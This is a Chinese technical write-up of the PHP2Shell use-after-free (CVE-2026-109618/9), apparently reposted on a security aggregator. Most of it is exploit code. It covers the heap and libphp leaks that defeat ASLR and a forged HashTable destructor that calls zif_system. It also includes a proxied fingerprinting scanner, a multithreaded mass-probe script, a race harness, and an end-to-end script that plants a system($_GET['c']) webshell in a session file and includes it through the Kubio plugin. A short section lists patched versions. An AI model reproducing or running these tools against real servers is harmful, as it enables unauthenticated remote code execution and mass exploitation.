PHP2Shell漏洞(CVE-2026-109618/9)技术分析"

admin 2026-10-27 17:06:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

PHP2Shell 漏洞(CVE-2026-109618/9)技术分析

原创

ZM
ZM

暗镜

2026年10月27日 08:00
北京

去阅读

2026年10月21日,PHP官方发布修复版本。不到48小时,公开利用代码、AI生成的PoC与自动化攻击脚本已在GitHub泛滥。这个被命名为 PHP2Shell 的漏洞组合(CVE-2026-109618 与 CVE-2026-109619),CVSS评分9.2,影响互联网上约70%的PHP部署。核心问题在于:它攻击的不是应用代码,而是 PHP引擎本身——在 index.php 或 WordPress 插件加载之前,内存攻击就已经发生。

下文为已发布的的POC相关分析,代码不得用于非法用途

一、根因:OOM Bailout 破坏清理顺序,留下悬空指针

两个CVE本质都是 use-after-free(UAF),位于PHP引擎处理 multipart/form-data 的内部逻辑中,触发点是默认开启的 session.upload_progress 特性。

当攻击者发送包含 PHP_SESSION_UPLOAD_PROGRESS 字段的 multipart 请求时,PHP开始解析上传并为进度跟踪分配内存。此时若攻击者故意让 Content-Length 或请求体超过 memory_limit(默认8MB,利用代码中明确以此为阈值),PHP在请求早期阶段就触发 OOM条件。

关键缺陷:PHP在OOM时执行一次\"bailout\"(强制退出当前请求),但该 bailout 处理器 没有正确清理 session.upload_progress 状态。它留下一个指针,指向已经释放或部分腐化的内存区域。这个悬空指针(dangling pointer)是整个利用链的种子。

更底层的问题是双指针清理失序。PHP在跟踪 multipart 上传时缓存两个内部指针。OOM bailout 打乱了正常清理序列,导致承载上传进度信息的哈希表没有按安全顺序销毁。悬空指针仍留在请求的session状态中,当PHP下一次访问它——通常在请求 teardown 阶段——就会解引用已释放内存。这就是UAF的核心机制。

值得强调的是:整个腐化发生在 rfc1867 multipart 解析阶段,早于任何应用代码(框架路由、认证逻辑、插件钩子)执行。因此应用层输入校验和WAF规则根本看不到恶意请求——攻击面是引擎,不是应用。

二、利用链总览:两次信息泄露击败ASLR

现代系统普遍启用 ASLR,攻击者无法硬编码内存地址。PHP2Shell 的利用链设计了两个信息泄露阶段,先取得 Zend MM 堆基址和 libphp.so 基址,再计算出 zif_system 的绝对地址,最后通过伪造析构器完成调用:

  • Stage 0:重置堆,保证干净内存布局
  • Stage 1:越界读取泄露 Zend MM chunk base
  • Stage 2:越界读取泄露 libphp.so 基址
  • Stage 3:伪造 HashTable 与 pDestructor,调用 zif_system 执行命令

三、Stage 0:用全新Worker重置堆布局

利用的可靠性依赖于每次尝试都有干净的内存布局。脚本利用 max_input_vars 限制(目标配置设为1000):发送一个包含 1001+ 字段 的 multipart 请求,请求在超过限制时被中止,但在此之前当前 worker 进程已被终止。Apache 的 prefork 模块随后 fork 出一个全新的、干净的 worker。

# 伪代码:构造超过 max_input_vars 的请求以重置 workerdefreset_worker(host, port):    boundary =\"----reset0\"    body =b\"\"for i inrange(1001):# max_input_vars = 1000        body +=(f\"--{boundary}\\r\
\"f'Content-Disposition: form-data; name=\"p{i}\"\\r\
\\r\
'f\"x\\r\
\").encode()    body +=f\"--{boundary}--\\r\
\".encode()    headers ={\"Content-Type\":f\"multipart/form-data; boundary={boundary}\",\"Content-Length\":str(len(body)),}# 请求被中止,但当前 worker 已被终止,prefork fork 出新 worker    raw_post(host, port,\"/\", body, headers)
这一步的意义在于:前一阶段造成的内存腐化不会泄漏到下一阶段,每次利用尝试都从一个确定的堆状态开始。这是整个链条\"可靠\"而非\"碰运气\"的前提。

目标:获取 Zend Memory Manager(Zend MM)堆的基地址——PHP内部数据结构都分配在这里。

手法:先触发OOM条件释放目标内存,再发送第二个请求,用精心构造的payload 回收(reclaim) 这块已释放内存。由于悬空指针仍然有效,PHP在构造响应时会读取超出预期缓冲区的内容,并把原始内存数据复制进 Set-Cookie 的 PHPSESSID 值中。这是一次典型的 越界读取(out-of-bounds read)。

# 伪代码:OOM 触发 + 越界读取泄露堆基址defleak_heap_base(host, port):    boundary =\"----leak1\"# 请求1:超大 body 触发 OOM bailout,留下悬空指针    big = build_multipart(boundary, progress=\"k1\", file_size=9*1024*1024)# > memory_limit 8MB    raw_post(host, port,\"/\", big,{\"Content-Type\":f\"multipart/form-data; boundary={boundary}\",\"Cookie\":\"PHPSESSID=leaksess1\",})# 请求2:回收已释放内存,利用悬空指针把原始内存写进 Set-Cookie    reclaim = build_multipart(boundary, progress=\"k2\", file_size=1024, pad=b\"\\x00\"*256)    status, headers = raw_post(host, port,\"/\", reclaim,{\"Content-Type\":f\"multipart/form-data; boundary={boundary}\",\"Cookie\":\"PHPSESSID=leaksess1\",})# 解析 PHPSESSID cookie 中的原始内存,找 2MB 对齐的堆地址    cookie = extract_cookie(headers,\"PHPSESSID\")    candidates ={}for i inrange(0,len(cookie)-8,8):        val =int.from_bytes(cookie[i:i+8],\"little\")if0x7F0000000000<= val <=0x800000000000:# 典型堆地址范围            aligned = val &~0x1FFFFF# 2MB 对齐            candidates[aligned]= candidates.get(aligned,0)+1    chunk_base =max(candidates, key=candidates.get)if candidates[chunk_base]>=8:# 计数≥8 视为有效泄露return chunk_basereturnNone
解析与验证:利用代码解析cookie,寻找落在典型堆地址范围(0x7F0000000000 至 0x800000000000)内的8字节值;对每个 2MB对齐 的值统计出现次数,出现最频繁者即为 chunk base。通过检查该计数 至少为8 来确认泄露有效,过滤掉噪声。

这一步拿到的是堆布局的锚点,为后续伪造结构提供落点。

五、Stage 2:从析构器指针恢复 libphp 基址

目标:获取 libphp.so 的基地址。最终阶段需要 zif_system(PHP内部执行shell命令的函数)的绝对地址,而它位于这个共享库中。

手法:复用同一个悬空指针再触发一次越界读取,但这次刻意构造请求,使泄露出的内存中包含指向 ZVAL_PTR_DTOR(PHP销毁变量时使用的内部函数)的指针。

# 伪代码:泄露 libphp 基址(利用 ZVAL_PTR_DTOR 页偏移作为指纹)ZVAL_PTR_DTOR_OFFSET =0x2A3F40# 该版本 libphp.so 中的已知偏移(示例)defleak_libphp_base(host, port, chunk_base):    boundary =\"----leak2\"# 构造回收 payload,使泄露内存中出现 ZVAL_PTR_DTOR 指针    reclaim = build_reclaim_with_dtor(boundary, chunk_base)    status, headers = raw_post(host, port,\"/\", reclaim,{\"Content-Type\":f\"multipart/form-data; boundary={boundary}\",\"Cookie\":\"PHPSESSID=leaksess2\",})    cookie = extract_cookie(headers,\"PHPSESSID\")for i inrange(0,len(cookie)-8,8):        val =int.from_bytes(cookie[i:i+8],\"little\")# 低12位 = 页偏移,不受 ASLR 影响,可作为指纹if(val &0xFFF)==(ZVAL_PTR_DTOR_OFFSET &0xFFF):            libphp_base = val - ZVAL_PTR_DTOR_OFFSETreturn libphp_basereturnNone
验证与计算:检查泄露指针的 低12位(页偏移) 是否与 ZVAL_PTR_DTOR 在 libphp.so 中的已知偏移匹配——页偏移不受ASLR随机化影响,因此可作为指纹。验证通过后,用泄露指针减去已知偏移,即得 libphp.so 基址。

至此,攻击者可以精确计算出两个关键地址:

htdata     = chunk_base + HTDATA_OFFSET    # 伪造 HashTable 的活字符串地址zif_system = libphp_base + ZIF_SYSTEM_OFFSET  # 执行命令的函数地址
两个泄露阶段分别解决\"堆在哪\"和\"库在哪\",缺一不可。

六、Stage 3:伪造 HashTable 与 pDestructor,劫持控制流

目标:覆写析构器指针,使PHP在销毁变量时调用 zif_system 而非正常析构器。

原理:PHP的 HashTable 结构体包含一个成员 pDestructor——一个函数指针,在表销毁时被调用。攻击者构造一个伪造的 HashTable,其中放置伪造的 zend_execute_data 与伪造的 zend_string(内容为命令),并将 pDestructor 指向 zif_system。

# 伪代码:构造伪造 HashTable 并覆写 pDestructordefbuild_fake_hashtable(htdata, zif_system, cmd=b\"id>/out/p1\"):# 伪造 zend_string:含命令,长度受限(最大14字节单命令)    fake_zend_string =(        pack(\"<Q\",0x0000000000000000)+# gc / refcount 占位        pack(\"<Q\",len(cmd))+# 字符串长度        pack(\"<Q\", hash_of(cmd))+# 哈希        cmd.ljust(167,b\"\\x00\")# 167 字节活字符串承载命令)# 伪造 zend_execute_data:把 fake_zend_string 作为参数关联    fake_execute_data =(        pack(\"<Q\",0)*4+        pack(\"<Q\", htdata)+# 指向 fake_zend_string        pack(\"<Q\",0)*8)# 伪造 HashTable:关键是 pDestructor = zif_system    fake_hashtable =(        pack(\"<Q\",0)*3+# gc / nTableMask 等占位        pack(\"<Q\", zif_system)+# pDestructor ← 劫持点        pack(\"<Q\", htdata)+# arData 指向伪造数据        fake_execute_data +        fake_zend_string)return fake_hashtabledeftrigger_destructor(host, port, fake_hashtable):    boundary =\"----stage3\"# 通过悬空指针把伪造结构写入已释放内存    write_req = build_multipart_with_fake(boundary, fake_hashtable)    raw_post(host, port,\"/\", write_req,{\"Content-Type\":f\"multipart/form-data; boundary={boundary}\",\"Cookie\":\"PHPSESSID=exploitsess\",})# 触发 teardown:PHP 销毁该 HashTable,调用 pDestructor(zif_system)    raw_get(host, port,\"/\",{\"Cookie\":\"PHPSESSID=exploitsess\"})
写入与触发:伪造结构通过同一个悬空指针写入内存。随后触发该伪造 HashTable 的销毁,PHP调用 pDestructor——此时它已指向 zif_system。传递给 zif_system 的参数正是伪造 zend_string 中的命令。命令以Web服务器用户权限(通常 www-data)执行。这就是\"PHP2Shell\"名字的由来:从PHP引擎内部直接走到shell。

14字节限制与带外验证:命令嵌入在一个 167字节的活 zend_string 中,因此单条命令最大长度仅 14字节。更长的命令通过短shell触发器链式执行,例如 sh</out/c(8字节),完整命令预先写入文件。执行后,利用代码通过读取文件(如 out/p1 或 /tmp/p1)或访问Web服务器上的特定路径来验证成功——这是带外(out-of-band)确认,避免依赖命令回显。

七、公开工具链代码剖析

公开工具链完整覆盖了\"指纹识别 → 触发面确认 → 竞态窗口武器化 → 端到端落地\"的实战路径,以下逐段拆解关键代码。

1 、指纹识别:php2shell_fp.py

脚本通过代理池分发请求,先做基础指纹,再探测 session.upload_progress 是否开启。

deffingerprint(host, proxy):    result ={\"host\": host}for scheme in(\"https\",\"http\"):        st, hdr, body = fetch(f\"{scheme}://{host}/\", proxy)if st ==0:continue        result[\"status\"]= st        server = hdr.get(\"Server\",\"\")        xpb = hdr.get(\"X-Powered-By\",\"\")# 从头部提取 PHP 版本        m = re.search(r\"PHP/([\\d.]+)\", xpb +\" \"+ server)        result[\"php\"]= m.group(1)if m elseNone# SAPI 启发式判断if re.search(r\"PHP/\", xpb)and re.search(r\"Apache\", server, re.I):            result[\"sapi_guess\"]=\"mod_php?\"# X-Powered-By + Apache ≈ mod_phpelif re.search(r\"nginx|openresty|litespeed|cloudflare|caddy\", server, re.I):            result[\"sapi_guess\"]=\"fpm/proxy?\"elif re.search(r\"Apache\", server, re.I)andnot xpb:            result[\"sapi_guess\"]=\"apache-no-xpb\"breakreturn result
probe_upload_progress() 是核心探测:构造 multipart POST,同时携带 PHPSESSID(随机 fprint+20位十六进制,实现会话固定)、PHP_SESSION_UPLOAD_PROGRESS(值 x,激活上传跟踪)、以及一个内容仅 Z 的文件字段。
defprobe_upload_progress(host, proxy, scheme=\"https\"):    boundary =\"FPRINT7x\"    sid =\"fprint\"+\"\".join(random.choices(\"0123456789abcdef\", k=20))    body =(f\"--{boundary}\\r\
\"f'Content-Disposition: form-data; name=\"PHPSESSID\"\\r\
\\r\
{sid}\\r\
'f\"--{boundary}\\r\
\"f'Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\\r\
\\r\
x\\r\
'f\"--{boundary}\\r\
\"f'Content-Disposition: form-data; name=\"f\"; filename=\"t.txt\"\\r\
\\r\
Z\\r\
'f\"--{boundary}--\\r\
\").encode()    req = urllib.request.Request(f\"{scheme}://{host}/index.php\",        data=body,        headers={\"Content-Type\":f\"multipart/form-data; boundary={boundary}\",\"Cookie\":f\"PHPSESSID={sid}\",},        method=\"POST\",)    r = op.open(req, timeout=12)    setc =dict(r.headers).get(\"Set-Cookie\",\"\")return{\"up_status\": r.status,\"up_set_cookie\": setc[:150],\"up_sid_echo\": sid in setc,# 关键判定:session id 是否回显}
判定信号是响应中的 Set-Cookie 是否回显该 sid(up_sid_echo)——若回显,说明 rfc1867 解析器在上传中途初始化了 session,即 session.upload_progress 开启,漏洞面存在。脚本还全局禁用证书校验(check_hostname=False、CERT_NONE),以便在代理链下容忍自签名证书。

2、 触发面确认:probe_rfc1867.py 的原始套接字探测

该脚本用原始 socket 而非标准 HTTP 库,以确保对字节和头部的完全控制。build_multipart() 构造的请求体包含硬编码 SID(ENIfix8f3d1c2b9a,用于 session fixation)、PHP_SESSION_UPLOAD_PROGRESS(值 ENIkey1234),以及 filename=\"x.bin\" 的文件字段,文件体由 BIGSIZE = 2 * 1024 * 1024 控制为 2MB——足以强制服务器在解析中持续更新上传进度,真正走到 session.upload_progress 处理路径。

BIGSIZE =2*1024*1024SID ='ENIfix8f3d1c2b9a'defbuild_multipart(boundary):    body  ='--%s\\r\
'% boundary    body +='Content-Disposition: form-data; name=\"PHPSESSID\"\\r\
\\r\
'    body += SID +'\\r\
'    body +='--%s\\r\
'% boundary    body +='Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\\r\
\\r\
'    body +='ENIkey1234\\r\
'    body +='--%s\\r\
'% boundary    body +='Content-Disposition: form-data; name=\"file\"; filename=\"x.bin\"\\r\
'    body +='Content-Type: application/octet-stream\\r\
\\r\
'    body +='A'* BIGSIZE +'\\r\
'# 2MB 文件体,强制触发 progress update    body +='--%s--\\r\
'% boundaryreturn bodydefraw_request(host, port, use_ssl, method, path, body=None, hdrs=None, timeout=15):    s = socket.socket(); s.settimeout(timeout)if use_ssl:        ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)        ctx.check_hostname =False; ctx.verify_mode = ssl.CERT_NONE        s = ctx.wrap_socket(s, server_hostname=host)    s.connect((host, port))    req ='%s %s HTTP/1.1\\r\
Host: %s\\r\
User-Agent: Mozilla/5.0\\r\
'%(method, path, host)if hdrs:for k, v in hdrs.items():            req +='%s: %s\\r\
'%(k, v)if body isnotNone:        req +='Content-Length: %d\\r\
'%len(body)    req +='Connection: close\\r\
\\r\
'    s.sendall(req.encode('latin-1'))if body isnotNone:        s.sendall(body.encode('latin-1'))    resp =b''whileTrue:try:            c = s.recv(4096)ifnot c:break            resp += cexcept(socket.timeout, socket.error):break    s.close()    head = resp.split(b'\\r\
\\r\
')[0]    lines = head.split(b'\\r\
')    code =int(lines[0].split(b' ')[1])if lines[0].startswith(b'HTTP')else0    setcookie =[ln.decode('latin-1')for ln in lines if ln.lower().startswith(b'set-cookie')]return code, setcookie
probe_one() 先发基线 GET /,再发 multipart POST,比较两次的 Set-Cookie:若 POST 响应带有 session cookie,判定 UP-ENABLED;连接失败为 CONN-FAIL;无 cookie 为 up-off/no-trigger。main() 用 Queue + 多线程 worker 并发处理大目标清单,把结果追加写入日志,便于立即过滤死主机与已打补丁的服务器。

3、竞态窗口武器化:race.py

race.py 是本地测试 harness,专门武器化 rfc1867 解析中的竞态窗口。build_body() 由四段拼接:PHP_SESSION_UPLOAD_PROGRESS 头字段、--parts 指定数量的 512字节小表单字段、文件字段头、以及 total_kb * 1024 的 A 填充体。大量小字段的作用是 拉长解析时间,同时整体请求体保持在 post_max_size(默认8MB)以下。

defbuild_body(key, total_kb, parts):    head =(f\"--{BOUNDARY}\\r\
\"f'Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\\r\
\\r\
'f\"{key}\\r\
\").encode()    filler =b\"\".join((f\"--{BOUNDARY}\\r\
\"f'Content-Disposition: form-data; name=\"p{i}\"\\r\
\\r\
').encode()+b\"B\"*512+b\"\\r\
\"for i inrange(parts)# 数百个小字段,拉长 rfc1867 解析窗口)    file_head =(f\"--{BOUNDARY}\\r\
\"f'Content-Disposition: form-data; name=\"f\"; filename=\"a.bin\"\\r\
'f\"Content-Type: application/octet-stream\\r\
\\r\
\").encode()    tail =f\"\\r\
--{BOUNDARY}--\\r\
\".encode()return head + filler + file_head +b\"A\"*(total_kb *1024)+ taildefslow_upload(host, port, sess_id, key, total_kb, parts, abort_at, log, path):    body = build_body(key, total_kb, parts)    c = http.client.HTTPConnection(host, port, timeout=30)if abort_at:# abort 模式:按比例截断 body 后立即关闭        limit =int(len(body)* abort_at)        c.request(\"POST\", path, body=body[:limit],                  headers={\"Cookie\":f\"PHPSESSID={sess_id}\",\"Content-Type\":f\"multipart/form-data; boundary={BOUNDARY}\",\"Content-Length\":str(len(body))})        c.close()return\"aborted\"    c.request(\"POST\", path, body=body,              headers={\"Cookie\":f\"PHPSESSID={sess_id}\",\"Content-Type\":f\"multipart/form-data; boundary={BOUNDARY}\"})    r = c.getresponse(); r.read(); c.close()return\"done\"defracer(host, port, sess_id, action, interval, stop, log):for _ inrange(50000):# 硬上限:不超过本轮if stop.is_set():break        c = http.client.HTTPConnection(host, port, timeout=5)        c.request(\"GET\",f\"/index.php?a={action}\",# destroy / regenerate / gc                  headers={\"Cookie\":f\"PHPSESSID={sess_id}\"})        r = c.getresponse(); r.read(); c.close()        time.sleep(interval)# 默认 1ms
run_round() 的组合逻辑是:先启动上传线程(可选 double 模式再并发一个同session的第二个上传),同时按 modes 启动对应的 racer 线程,只等上传线程结束便 stop.set() 让 racer 停止。目标是强制\"上传解析(读)\"与\"session销毁(删)\"精确重叠,制造悬空指针——这正是 Stage 1 越界读取的前置条件。每轮之间用 probe() 检查目标是否已崩溃(这类微秒级时序窗口常导致worker崩溃),失败即停止并返回非零退出码,便于迭代调整并发参数。

4、端到端落地:rce2.py 的 session 投毒 + Kubio LFI

rce2.py 展示了完整落地的组合利用,分两个阶段。第一阶段是 session 文件投毒:把 PHP 代码嵌入 multipart 的 filename 字段,同时携带 PHPSESSID 与 PHP_SESSION_UPLOAD_PROGRESS。

sid ='ps'+ uuid.uuid4().hex[:24]bd  ='----ps'+ uuid.uuid4().hexcode =\"<?php echo 'PSMARK'; system($_GET['c']); echo 'PSEND';?>\"head =(f'--{bd}\\r\
Content-Disposition: form-data; name=\"PHPSESSID\"\\r\
\\r\
{sid}\\r\
'f'--{bd}\\r\
Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\\r\
\\r\
zz\\r\
'f'--{bd}\\r\
Content-Disposition: form-data; name=\"f\"; filename=\"{code}\"\\r\
'f'Content-Type: application/octet-stream\\r\
\\r\
').encode('latin-1')size =210241024tail =f'\\r\
--{bd}--\\r\
'.encode()req =(f'POST / HTTP/1.1\\r\
Host: {host}\\r\
'f'Content-Type: multipart/form-data; boundary={bd}\\r\
'f'Content-Length: {len(head)+size+len(tail)}\\r\
'f'Cookie: PHPSESSID={sid}\\r\
Connection: close\\r\
\\r\
').encode()s = socket.create_connection((host, port), timeout=10)if tls:    s = ssl._create_unverified_context().wrap_socket(s, server_hostname=host)s.sendall(req + head +b'A'*(size //4))# 只发送约四分之一 bodytime.sleep(8)# 暂停,迫使 PHP 把 filename 写入 session 文件
关键在于 Content-Length 声明为完整长度,但实际只发送约四分之一 body 后暂停——迫使 PHP 在等待剩余数据期间把攻击者控制的 filename(即 PHP 代码)写入本地 session 文件(如 /var/lib/php/sessions/sess<sid>)。

第二阶段是 LFI 包含执行:构造路径遍历指向该 session 文件,通过 Kubio 插件参数包含执行。

p ='../'*6+'var/lib/php/sessions/sess'+ sidu =(f'{sch}://{host}:{port}/?kubio-site-edit-iframe-preview=1'f'&kubio-site-edit-iframe-classic-template='+ requests.utils.quote(p, safe='')+'&c='+ requests.utils.quote(cmd))y = requests.get(u, headers={'User-Agent': UA}, timeout=15, verify=False, allow_redirects=False)if'PSMARK'in y.text:print('RCE OK')print(y.text.split('PSMARK',1)[1].split('PSEND',1)[0].strip()[:500])
响应中若出现 PSMARK,即确认 RCE,脚本截取 PSMARK 与 PSEND 之间的输出作为命令结果。这条链把\"写 session\"与\"包含 session 文件\"两段拼成端到端利用,与 PHP2Shell 的引擎级 UAF 形成互补的攻击面覆盖。

八、为什么传统防御在此失效

  1. WAF看不到攻击:腐化发生在 multipart 解析阶段,早于应用代码执行。基于应用层规则的WAF没有机会检查请求。
  2. 框架输入校验无效:Laravel、WordPress 等框架的校验逻辑在引擎完成请求解析之后才运行,此时内存腐化已经发生。
  3. 无需认证:漏洞在请求解析阶段触发,攻击者无需任何有效凭据即可达成RCE。
  4. 唯一有效修复是二进制级:升级PHP并重启Web服务器。受影响SAPI包括 Apache with mod\_php、PHP-FPM、php-cgi、FrankenPHP、LiteSpeed;受影响版本为 PHP 8.4 < 8.4.27、8.3 < 8.3.36、8.2 < 8.2.35、8.5 < 8.5.12。

PHP2Shell 的技术本质是一次 引擎级UAF的工程化利用:OOM bailout 的清理缺陷制造悬空指针(Stage 0 重置堆保证可靠性),两次越界读取分别泄露堆基址(Stage 1)与库基址(Stage 2)以击败ASLR,最终伪造 HashTable 的 pDestructor(Stage 3)把控制流劫持到 zif_system。由于腐化发生在应用代码之前,WAF与框架校验集体失效,二进制级补丁成为唯一有效缓解。公开工具链则完整覆盖了\"指纹识别(php2shell_fp.py)→ 触发面确认(probe_rfc1867.py)→ 竞态窗口武器化(race.py)→ 端到端落地(rce2.py)

    PHP2Shell漏洞(CVE-2026-109618/9)技术分析" 网络安全文章

    PHP2Shell漏洞(CVE-2026-109618/9)技术分析"

    本文分析PHP2Shell漏洞组合(CVE-2026-109618/109619),CVSS评分9.2,影响约70%的PHP部署。漏洞根因是PHP引擎处理multipart/form-data时OOMbailout破坏清理顺序导致UAF,攻击面在引擎而非应用层。利用链包含重置堆、两次信息泄露绕过ASLR、伪造HashTable劫持控制流执行命令。文章提供详细技术分析和伪代码,强调仅用于安全研究。
    某大厂员工吐槽:办公时鼠标不受控自动点击,怀疑是领导用高等级账户远程监视,最后只能重启解决。" 网络安全文章

    某大厂员工吐槽:办公时鼠标不受控自动点击,怀疑是领导用高等级账户远程监视,最后只能重启解决。"

    文档讨论某大厂员工鼠标失控事件,分析可能原因包括无线干扰、设备故障或远程控制,建议先排查技术原因而非直接怀疑监控。企业电脑可能部署管理软件记录操作,但监控范围取决于配置。遇到异常应检查设备、联系IT团队并记录异常表现,不必将所有现象归因于AI。
    弹幕服务danmu_api默认TOKEN绕过CVE-2026-116485" 网络安全文章

    弹幕服务danmu_api默认TOKEN绕过CVE-2026-116485"

    本文披露弹幕服务danmu_api(CVE-2026-116485,CVSS9.8)认证绕过漏洞:1.21.7之前版本因默认TOKEN兼容垫片与管理接口鉴权冲突,未认证攻击者可修改环境变量并触发重新部署,进而控制实例。建议升级至1.21.7及以上、修改默认TOKEN并显式设置ADMIN_TOKEN,检查环境变量痕迹。
    评论:0   参与:  0